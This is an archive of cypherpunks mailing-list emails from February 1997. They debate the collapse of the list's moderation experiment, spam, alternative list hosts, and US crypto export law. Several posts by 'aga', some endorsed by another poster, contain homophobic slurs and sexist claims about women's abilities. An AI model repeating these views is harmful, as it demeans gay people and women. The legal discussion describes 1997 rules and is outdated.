   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Omegaman" <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 12:19:29 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re:
In-Reply-To: <855947474.1029113.0@fatmans.demon.co.uk>
Message-ID: <199702142018.OAA113544@tetsuo.communique.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> > Is it legal or illegal to send a 
> > PGP encrypted message from the US to someone in another country?
> 
> Yes.
> 
> 

No it's not.  Where do you get this?  It would be illegal to send 
them a copy of the PGP program.  But sending encrypted messages is 
not illegal.

Please, cite your source
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 13:36:17 -0800 (PST)
To: toto@sk.sympatico.ca (Toto)
Subject: Re: Fuck UseNet
In-Reply-To: <199702141611.IAA09309@toad.com>
Message-ID: <199702142239.OAA22248@songbird.com>
MIME-Version: 1.0
Content-Type: text


Toto allegedly said:
> 
> Jeremiah A Blatz wrote:
> > alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> > consiencous newsadmins probably did not honor the rmgroup, as
> > alt.cypherpunks should be acceptable, but most newsadmins are too
> > overworked to actually look at most of the crap that comes through.
> 
> > Therefore, it would be a Good Thing to continue any discussion on
> > alt.config, and convince any cabal'ers who rmgroup it to re-new it.
> > Sending out boosters every couple of weeks wouldn't hurt, either.
> 
>   So, basically, you're saying that the flight from censorship should
> be toward a new CypherPunk 'home' where one is effectively censored
> automatically unless one kisses the ass of a Cabal?

Pretty much, yes.  The voting process for a comp group is better, IMO.

But the distributed mailing list is by far the most interesting 
solution.  Contrary to what some have claimed, it really isn't the 
same as usenet -- it allows for distributed control.  There is no 
doubt that the operator of a mail list host should have the freedom 
to set his or her policies as they see fit -- it is their machine, 
and their responsibility.  And contrariwise, subscribers should have 
the freedom to chose list hosts with compatible philosophies.


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 13:11:30 -0800 (PST)
To: dave@kachina.jetcafe.org (Dave Hayes)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142035.MAA01111@kachina.jetcafe.org>
Message-ID: <199702142104.PAA02356@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> You'll find those of us who -truly- want free speech are extremely
> good at ignoring what we don't like.

Not all of you freedom-knights are good at it at all.

I would go as far as to say that only you, Dave Hayes, are good at it.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 12:07:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142007.PAA16030@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


        It's always interesting  to see how another person, particularly a
writer, filters and reshapes an experience you shared with them .
Differences in the telling are inevitable -- but I perceived the recent
experience of the C'punks List quite differently than what Declan described
and implied in his column.

        My understanding of Sandy's effort, for instance, was that he was to
filter out the sludge of spam and contentless name-calling with which some
idiots were flooding the list.  My impression was that he was passing along
any posts with content (ideas, pro or con, on almost anything) but filtering
out the empty obscene name-calling and slurs (many of which seemed anon or
forged, with varied and misleading titles, to duck my kill-file filters.)

        I, for one, was appreciative.  I don't mind flames (and I expected
to still be able to recieve them, from whatever POV -- and it seemed that I
did!) but I also want a little meat somewhere amid the smoke.  

        Who did the filtering  (at the minimal level I expected) was almost
irrelevant. If the filtering was on content, I'd be unhappy -- but I was
eager to see some effort  to cut out the empty hate messages.  I even
suggested to Dale, off-list, that he take it on for awhile.  To me, the
issue was whether this community could develop some mechanism to defend
itself against a willful and intentional effort to destroy it.  I think we
failed to do so, despite the creative search for alternative venues -- and I
think the triumphant cackling I read on what's left of the List  is quite
out of place.  

        It may be that ideological purists were able to develop dynamic
local filters on their PCs  which satisfied them, but my filters just
could't do enough.  It was clear that the fecal-buckshot attacks on the List
were designed to evade them.   I'm still here, but it was more than a minor
annoyance. 

        (A year ago, I knew maybe five friends and acquaintances who
subscribed to C'punks, but they all ran out of patience with the unchecked
flow of sludge and unsubscribed...  months before John tried to introduce
his moderation experiment.)   If 700 dropped off right after the moderation
experiment was announced -- which I somehow doubt -- I wonder how many were
battered into unsubscribing in the six or eight months prior?

        And, of the fleeing 700, how many became bored with the obsession of
some (exhaustively prolific) writers with the "Moderation & Me" -- and went
off to find some discussion of cryptography, politics, and ideas elsewhere?
(Gawd knows, on the then-Moderated List  I never found any lack of
overwrought attacks on Sandy or John.  I even read them for a week or two;-)

        From this whole experience, I carry away something different than
those who gleefully celebrate Gilmore's surrender. I think something unusual
and valuable is being killed.  I'm now convinced that virtually all mailing
lists will soon be forced to either limit posts to authenticated subscribers
or introduce some sort of moderation -- just to deal with the spam threat
and the problem of concerned attacks by those who decide they hate or
dislike or simply want to destroy that particular List community .  

        By the logic of Tim and others, a clever and dedicated crusade
against Cypherpunks by any minimally-organized group, bir or small -- your
local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
destroyed the List at any time in the past.  I'm glad they never realized
how vulnerable we were;  I've enjoyed this Community greatly  in its current
manifestation. 

         I also hate to think of how gleeful the sociopaths who mail-bombed
us into the choice of submission or suicide must be today.  I think it is a
particularly henious crime to destroy a virtual community; something akin to
book-burning, but maybe more like arson -- like burning village schools.  

    There was a willful attempt to destroy C'punks, an attack of depth and
volume which led many of us (even those who had ignored at least three
earlier efforts to offer filtered subsets to the List)  to welcome the
Moderation Experiment. Unfortunately, the attempt at moderation just twisted
our own energies against ourselves.  We were, perhaps predictably, quite
easy to manipulate.

        If I have any criticism of John et al, it is that our List-Owner (a
statement of function, rather than property) never gave the List Community
an overt option to vote for  minimal moderation.  A tactical error.  That
that allowed the anarchists, nihlists, and others pure of heart to focus
their ire on toad.com and Sandy -- rather than on those of us who (when John
finally acted) might have gladly re-subscribed to another version of the
List in order to obtain minimal spam and slur filtration.  

        So now we ourselves burn the village in order to save it. 

        <nostalgic sigh>  

        How American!  

        Suerte,
                        _Vin



At 11:23 PM 2/13/97 -0800, you wrote:
>Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST)
>From: Declan McCullagh <declan@well.com>
>To: fight-censorship@vorlon.mit.edu
>
>The Netly News Network
>http://netlynews.com/
>
>A List Goes Down In Flames
>by Declan McCullagh (declan@well.com)
>February 12, 1997
>   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Omegaman" <omega@bigeasy.com>
Date: Fri, 14 Feb 1997 13:06:38 -0800 (PST)
To: Martin Minow <fight-censorship@vorlon.mit.edu
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <199702142105.PAA73652@tetsuo.communique.net>
MIME-Version: 1.0
Content-Type: text/plain



> The only other alternative I can see would be to limit membership --
> but not limit what members might write. 

The notion that there are "members" in some kind of formal fashion is 
inherently un-cypherpunk in my book and would most likely be 
rejected.

> Having been "on" the net for over 15 years -- and with experience in
> both ends of the censorship/moderation problem  (I'm probably the
> only Cypherpunks member to have had a book "banned in Boston"), I'm
> sorry that a handful of sociopaths managed to destroy this
> experiment in anarchy, but I suspect that this was inevitable.

In your 15 years on-line you should KNOW that it's an inevitable 
cycle inherent to anarchic forums like cypherpunks.  But the notion 
that cypherpunks is dead and destroyed is silly.  Cypherpunks will 
(and already are) reform and renew as is, I believe, necessary.  
Whether or not the name cypherpunks is used and embraced is 
irrelevant.  Those interested in cryptography as a tool of personal 
privacy and freedom will inevitable congregate in the self-organizing 
fashion that "cypherpunks" have always recognized.

The "human judgement" you are referring to is leadership.  Leadership 
is not necessarily anathema to cypherpunks.  Leadership is provided 
by those who try to post signal and ignore the noise.  Those who 
continue to push the discussion forward.  

People inevitably tire of robust forums such as this.  The sociopaths 
and the leaders come and go in waves.  Let the forum mutate in 
whatever way it chooses.
---------------------------------------------------------------------
Omegaman <mailto:omegam@cmq.com>|"When they kick out your front door,
   PGP Key fingerprint =        | How are you gonna come? 
   6D 31 C3 00 77 8C D1 C2      | With your hands upon your head,   
   59 0A 01 E3 AF 81 94 63      | Or on the trigger of your gun?" 
Send email with "get key" as the| -- The Clash, "Guns of Brixton"
"Subject:"to get my public key  |   _London_Calling_ , 1980
---------------------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 14 Feb 1997 12:18:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: e$
Message-ID: <199702142018.PAA25376@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maya has been a source of endless embarassments to 
his sympathizers on and off the net.

           /_/\/\
           \_\  / Timmy Maya
           /_/  \
           \_\/\ \
              \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 13:59:18 -0800 (PST)
To: vin@shore.net (Vin McLellan)
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142007.PAA16030@relay1.shore.net>
Message-ID: <199702142155.PAA02863@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Vin McLellan wrote:
> 
>         It's always interesting  to see how another person, particularly a
> writer, filters and reshapes an experience you shared with them .
> Differences in the telling are inevitable -- but I perceived the recent
> experience of the C'punks List quite differently than what Declan described
> and implied in his column.
> 
>         My understanding of Sandy's effort, for instance, was that he was to
> filter out the sludge of spam and contentless name-calling with which some
> idiots were flooding the list.  My impression was that he was passing along
> any posts with content (ideas, pro or con, on almost anything) but filtering
> out the empty obscene name-calling and slurs (many of which seemed anon or
> forged, with varied and misleading titles, to duck my kill-file filters.)

May I ask you, what is the basis of "your understanding"?

Did you form your impression upon reading only the materials from
the list that was filtered by Sandy? Or you also read the flames and
unedited lists?

In the latter case, you have no basis for any claims regarding Sandy's
policy.

I do have a list of subscribers to the unedited list, and you were not
on it.

>         I, for one, was appreciative. 

>         By the logic of Tim and others, a clever and dedicated crusade
> against Cypherpunks by any minimally-organized group, bir or small -- your
> local coven, CoS, RC bishops, FBI, Romanian Govt, , whomever!  -- could have
> destroyed the List at any time in the past. 

But of course.

> I'm glad they never realized
> how vulnerable we were;  I've enjoyed this Community greatly  in its current
> manifestation. 

Maybe they realized it and were not really bothered by this list because
of this lameness. What if all these anti-government rants were just
feeding the illusion of grandeur.

>          I also hate to think of how gleeful the sociopaths who mail-bombed
> us into the choice of submission or suicide must be today.  I think it is a
> particularly henious crime to destroy a virtual community; something akin to
> book-burning, but maybe more like arson -- like burning village schools.  

It is because you wanted to take everything from them.

>     There was a willful attempt to destroy C'punks, an attack of depth and
> volume which led many of us (even those who had ignored at least three
> earlier efforts to offer filtered subsets to the List)  to welcome the
> Moderation Experiment. Unfortunately, the attempt at moderation just twisted
> our own energies against ourselves.  We were, perhaps predictably, quite
> easy to manipulate.

It is a question of what you think is manipulation.

>         If I have any criticism of John et al, it is that our List-Owner (a
> statement of function, rather than property) never gave the List Community
> an overt option to vote for  minimal moderation.  A tactical error.  That
> that allowed the anarchists, nihlists, and others pure of heart to focus
> their ire on toad.com and Sandy -- rather than on those of us who (when John
> finally acted) might have gladly re-subscribed to another version of the
> List in order to obtain minimal spam and slur filtration.  

Yes, if moderation created a new place in cyberspace, it would have been
less controversial.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 12:56:25 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <855947489.1029218.0@fatmans.demon.co.uk>
Message-ID: <Pine.BSD/.3.91.970214145431.9409A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> Here I can agree, I personally discriminate on the basis of sex, not 
> in that I believe women inferior to men but rather that I believe 
> each sex better suited to different tasks and vocations.
> That is not, however, to say that I believe women should be prevented 
> from taking up lines of work that men traditionally hold.
> They are free to do so, but as in the example you give later 
> I would feel uncomfortable having my car serviced by a woman.

<flame-retardant suit on>

Normally I would ignore this sort of comment (which probably belongs in 
some soc. newsgroup), but I feel obliged to point out that:

- The female <mechanic / scientist / engineer>, in addition to passing the
same exams as her male classmates, has probably had to put up with a fair
load of B.S. questioning her right and ability to be there.  The ones that
keep at it long enough to graduate are the ones that *really* want to do 
whatever it is, and IMHO are more likely to try harder.

- If she has been in business for a while, this means she has attracted
and kept customers in spite of the attitude displayed in previous posts. 
There are no "quotas" in the marketplace. 

- I wonder whether the garage owners have any preference.  In my military
experience (Signals officer), the (older male) sergeants and chiefs, when
given a choice, preferred female radar / radio technicians to male
because, in general, they were harder working, had thicker skins, and were
more pleasant to deal with. 

Chicken and Egg: How much of "each sex [is] better suited to different
tasks" is due to little girls being pulled away from the Lego and toy
trucks, and encouraged to play with Barbies?  Being told that they are 
*pretty* not *smart* as a form of approval? 

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 14 Feb 1997 14:02:43 -0800 (PST)
To: dave@kachina.jetcafe.org (Dave Hayes)
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <199702142029.MAA01055@kachina.jetcafe.org>
Message-ID: <199702142157.PAA02906@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> 
> Ok. I'll "put up". 
> 
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.

I think that it is a great idea. If you want to contribute to the 
effort to keep the list, this is great. You could join the network of
other cypherpunks mailing lists. 

There is a small list for discussing these networking issues,
cypherpunks-hosts@algebra.com. It is not for crypto-discussions per 
se, but rather for discussing how we proceed with these lists.

You can subscribe to it through majordomo@algebra.com.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 13:20:14 -0800 (PST)
To: omegam@communique.net
Subject: Re:
In-Reply-To: <199702142018.OAA113544@tetsuo.communique.net>
Message-ID: <Pine.BSD/.3.91.970214161400.9532B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Omegaman wrote:

> paul@fatmans.demon.co.uk wrote:
> > > Is it legal or illegal to send a 
> > > PGP encrypted message from the US to someone in another country?
> > 
> > Yes.
> 
> No it's not.  Where do you get this?  It would be illegal to send 
> them a copy of the PGP program.  But sending encrypted messages is 
> not illegal.

Actually, Paul implied that it was both legal and illegal.  I assume he 
meant that it is legal except where the *content* of the message contains 
something illegal (death threats against heads of state, etc.) But if you 
use strong encryption, who'll know? 

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 14 Feb 1997 14:08:20 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
In-Reply-To: <l03010d00af2a675dff72@[204.57.198.5]>
Message-ID: <Pine.BSD/.3.91.970214165920.9574B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 aaron@herringn.com wrote:

<explanation of anti-spam e-mail addresses snipped>

> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> in the from: header. Sure, somebody out there is going to be unhappy with
> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> are bouncing mail to the admin of the site instead of to me.

<evil grin> That's *much* better than the mundane 
c.y.n.t.h.b@i.o.s.p.h.e.r.e.dot.n.e.t

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 14:27:22 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: The END of censorous queers/was:Moderation experiment * over
In-Reply-To: <855947489.1029218.0@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970214171657.30152A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 paul@fatmans.demon.co.uk wrote:

> Date: Fri, 14 Feb 1997 19:02:19 +0000
> From: paul@fatmans.demon.co.uk
> To: aga <aga@dhp.com>
> Cc: cypherpunks@toad.com, ichudov@algebra.com, dlv@bwalk.dm.com,
>     Freedom Knights <freedom-knights@jetcafe.org>,
>     alt.cypherpunks@news.demon.net, alt.cypherpunks.social@news.demon.net
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> 
>  
> > Again, MY definition of a "bigot" is the correct one which is
> > most understood by modern people.
> > 
> > A "bigot" is a racist, period.
> 
> I would have to differ with you there Dr. Grubor, although I think 
> the term Bigot being applied critically to your opinions is 
> inappropriate.
> 

Let us distinguish between the denotation an connotation of the word.
The later, being the more modern definition is more appropriate.
Webster's definition of bigotry is at least 75 years old.

> > > I see nothing that limits bigotry to racial intolerance.
> > > 
> > 
> > You are a fool then.  Religion and sexism and groups all have nothing
> > to do with bigotry.  A bigot is a racist, period.  That is TODAY'S
> > correct definition of the term, and I am a lot more current than
> > Webster.  Any anybody who has a "religion" and "prays" is a fool.
> > The only god you will ever find is within yourself.
> 
> I do not begin to believe this is correct.  I happen to believe that 
> sexism, not in the sense of believing women inferior but in the sense 
> of believing homosexuals inferior can be, in some instances, a form 
> of bigotry but it is merely a matter of semantics and not of 
> interest.
> 
> I wholeheartedly agree with the last point, anybody who believes in 
> any form of deity or higher being (call it god if you like) is, IMHO, 
> a fool. However, this has proven in history to be contradicted on a 
> number of occasions, for example, Albert Einstein was a Jew but did 
> not just accept without enquiry, rather, his religious views were 
> subtle and well thought through. This is, of course, the exception 
> not the rule, and 99.9999% of all religious people are fools.
> 
>  
> > > > It is very logical and wise to discriminate on the basis of sex.
> 
> Here I can agree, I personally discriminate on the basis of sex, not 
> in that I believe women inferior to men but rather that I believe 
> each sex better suited to different tasks and vocations.

Exactly.  I know very few good female engineers, but I know a few good
config gals.  Females are just not meant for math and science.

> That is not, however, to say that I believe women should be prevented 
> from taking up lines of work that men traditionally hold.
> They are free to do so, but as in the example you give later 
> I would feel uncomfortable having my car serviced by a woman.
> 
> > > Most would disagree, and decide based on that and other statements you
> > > have made that you must be an extremely unpleasant person.
> > > 
> > 
> > See, there you go again, attacking the person, instead of the
> > argument.  You lose points for that.  Sexism is GOOD and right and
> > justified.  I want a woman cutting my hair, and a man fixing my car,
> > and I demand the correct sex for ALL activities.
> 
> Exactly, the poster has failed to recognise that you have every right 
> to discrimate as you do and are justified in doing so. They are 
> probably either homosexual and feel threatened or they are censorous 
> and feel they must protect people from being "defamed" etc...
>  
> > > If you want to fight censorship effectively, going around telling
> > > people "You're a shit-eating faggot you fucking cock-sucking homo
> > > censor" in public forums is not going to win you many points.
> > 
> > Look sonny, I am not out to win any points.  I have two Doctorates and
> > 22 years of experience.   I speak with authority and only to those who
> > have the intelligence to understand.   I was a perfect 4.00 in
> > College, and am probably the most intelligent body-politic analyst in
> > the world.  Now let's face it:  Faggots are BAD news.  They are most
> > always censors!  And that is the truth you can never get around.
> 
> I agree, I have no prejudice against homosexuals. Rather I have 
> formulated a low opinion of them as a group due to their censorous 
> behaviour. I think it is because they feel threatened by straight 
> people.
> 

Indeed.  And it is because of this "threat" that they always feel that
they are so much into a clique and they are so apt to censor the
slightest alleged "homophobic" discourse.

>  
> 
>   Datacomms Technologies web authoring and data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: 5BBFAEB1
>      "Don`t forget to mount a scratch monkey"
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 14:32:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: A "Default Faggot"/ was:Dale disses gays.
In-Reply-To: <199702141945.MAA00019@earth.wazoo.com>
Message-ID: <Pine.LNX.3.95.970214172753.30152B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997, Anonymous wrote:

> Date: Fri, 14 Feb 1997 12:45:07 -0700
> From: Anonymous <nobody@wazoo.com>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Subject: Re: Dale disses gays.
> 
> aga <aga@dhp.com> writes:
> 
> > Now just who is thisa guy? -- who keeps posting under
> > "nobody" at the cajones remailer?  Anybody have him/her
> > tagged yet for the real person?
> 
> Probably multiple people.  It's just an anonymous remailer.
> 
> > ...
> > I don't know.  It has always been easy for me to spot a faggot.  I
> > mean, I can even tell by their voice if they are queer.
> 
> Well, those of us who happen to know Gilmore is straight are not very
> impressed with your accuracy.
> 

Well, I never talked to Gilmore, but I will tell you this:
I have never seen him come outright and say "I am straight and not
gay."  So until he says that, he is a default faggot.

The default faggots are the worst kind.  If a guy would just say
"o.k., I am gay," I can respect him and drop the subject.  It is the
ones who refuse to admit they are gay that bug me the most.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 14:45:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dave Hayes takes over Cypherpunks
In-Reply-To: <199702142029.MAA01055@kachina.jetcafe.org>
Message-ID: <Pine.LNX.3.95.970214173916.30152C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Now finally we can have a heterosexual cypherpunks list.

On Fri, 14 Feb 1997, Dave Hayes wrote:

> Date: Fri, 14 Feb 1997 12:29:41 -0800
> From: Dave Hayes <dave@kachina.jetcafe.org>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org, cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up" 
> 
> Ok. I'll "put up". 
> 
> If the cypherpunks will have me, -I'll- run the cypherpunks
> list. Those that know me know that I will *not* censor, moderate, or
> otherwise alter the content (other than the stuff majordomo does with
> "resend") of any messages to the list.
> ------
> Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
> Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet
> 
>     Advice is priceless; when it becomes interference it is preposterous.
> 

How about that we require everybody to state their sex and sexual
orientation in the future, so we have no future problems.

I am a "Male Heterosexual" -- what about the rest of you?
If you refuse to answer, you are presumed to be a gay boy who
is hiding it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 14 Feb 1997 16:46:50 -0800 (PST)
To: declan@pathfinder.com (Declan McCullagh)
Subject: Re: Private property & the cypherpunks list(s) (fwd)
In-Reply-To: <199702141611.IAA09307@toad.com>
Message-ID: <199702150150.RAA23778@songbird.com>
MIME-Version: 1.0
Content-Type: text


Declan McCullagh allegedly said:
> 
> 
> On Fri, 14 Feb 1997, Jim Choate wrote:
> 
> > I am taking intellectual property rights from nobody. If anything I am
> > giving unlimited intellectual rights to the material to humankind for
> > posterity. Sorta cypherpunkish, don't you think?
> 
> I am amused by this. Jim's plan sounds much less cypherpunkish than
> collectivist. Communal property, ho!
> 
> After all, workers have nothing to lose in this revolution but their
> chains. They have a world to gain. Workers of the world, unite! 

Ad hominems are so much fun, eh?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:03:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: crypto restrictions
Message-ID: <199702142303.SAA01016@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


Anand Abhyankar <anand@querisoft.com> asked:

>1) is it illegal to develop an encryption tool (s/w) outside the US
>which uses > 40 bit size session keys and then import that s/w inside of
>the US.
>
>anand....

Hi Anand,

        Nope! Unless there are export controls in India,  your wizards in
Bombay or Dehli (pardon, I forget) can offer their US customers the full and
unrestricted product of their creativity and genius in algorithms, crypto
implementations, and/or crypto protocols.

         There are no restrictions on encryption software being _imported_
into the US, nor are there (at the moment <sigh>) any legal (as opposed to
patent or copyright) restrictions on any encryption software of any strength
being _used_ in the US. 

         For that matter, there are no restrictions on encrypted data being
transmitted across the US border.  

        And (while it may require a license, apparently an exemption for the
product, as opposed to a sales-by-sale license) there are seemingly no -- or
at least less -- restrictions on the use of specialized encryption products
(within the US) which can generate a "self-decrypting" secure packet which
can be transmitted (cross-border, outside the US) and opened, anywhere, by a
recipient who has been provided with a password/key out of band.

         That is how RSA's SecurPC has been able to offer full 128-bit RC4
encryption to secure US-to-Anywhere international file transfers.  

        (As with DES, the US Govt is apparently trying to control the export
of a full implementation package -- not the international distribution of a
widely-known algorithm, per se.  As I understand it, the self-decrypting
PCSecure packet does not contain the user interface which allows automatic
encryption, the interface can only decrypt. The RC4 algorithm, of course,
has to be included in the transmission, and it is inherently reversible --
only the user interface is "crippled" to restrict its use to encrypt.
Corrections welcome, if I don't have this exactly right.)  

        The international traffic in self-decrypting "128-bit" products is
separate and distinct from the issues involved in the recent modifications
of the  US export regs, which allow vendors to get approval to export a
56-bit secret-key encryption product (eg. RC4, RC5, or DES) only  if the
vendor submits a concrete plan, and schedule of implementation, to redesign
their (export) product to require key-escrow or trusted-party
key-recovery/storage. 

        (In addition whatever recovery key is required by corporate backup
policies, this is also, obviously, a mechanism for GAK, "government access
to keys" --under US law,  hopefully with a court warrant -- and/or whatever
backup/key-recovery/GAK-access mechanism might be required various other
nations in which those products will be imported, used, or transhipped from.)

        And with those GAK-adapted implementations, the US govt. will then
approve, for the first time, general export of robust 128-bit secret-key
products... as they reportedly have for Open Market's SSL, and TIS and
Digital crypto products.

      I hope this is helpful,

        Suerte,
                        _Vin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 14 Feb 1997 15:19:42 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Good Bye Cypherpunks!
Message-ID: <199702142317.SAA04571@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim May asked:

>And was my article the kind of "sludge of spam" and "contentless
>name-calling" you thought the Moderation experiment was all about?

        No.  It definitely was not.

>And what of the four or five of my posts a week ago which never made it to
>either the Main list or the Flames list? The contained no "sludge of spam"
>nor "contentless name-calling." What they dealt with was a claim (like this
>one) that some posts were not being passed on to either of the two lists,
>and that perhaps a conflict of interest was developing.
>
>Does this still match your "understanding of Sandy's effort"?

        Sadly, no.

        _Vin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 14 Feb 1997 15:45:05 -0800 (PST)
To: froomkin@law.miami.edu (Michael Froomkin - U.Miami School of Law)
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702141611.IAA09328@toad.com>
Message-ID: <199702142338.SAA18913@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:
| Just for the record.  I will not post to USENET given the spamming that
| seems to go to IDs that appear there.  

	Your postings appear on the web, as part of the cypherpunks
archives at infinity.nus.sg.

http://infinity.nus.sg/cypherpunks/current/0089.html

	There seem to be robots that search the web; I've never even
read usenet from this account, and I get spam.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 14 Feb 1997 15:43:45 -0800 (PST)
To: cypherpunks@toad.com
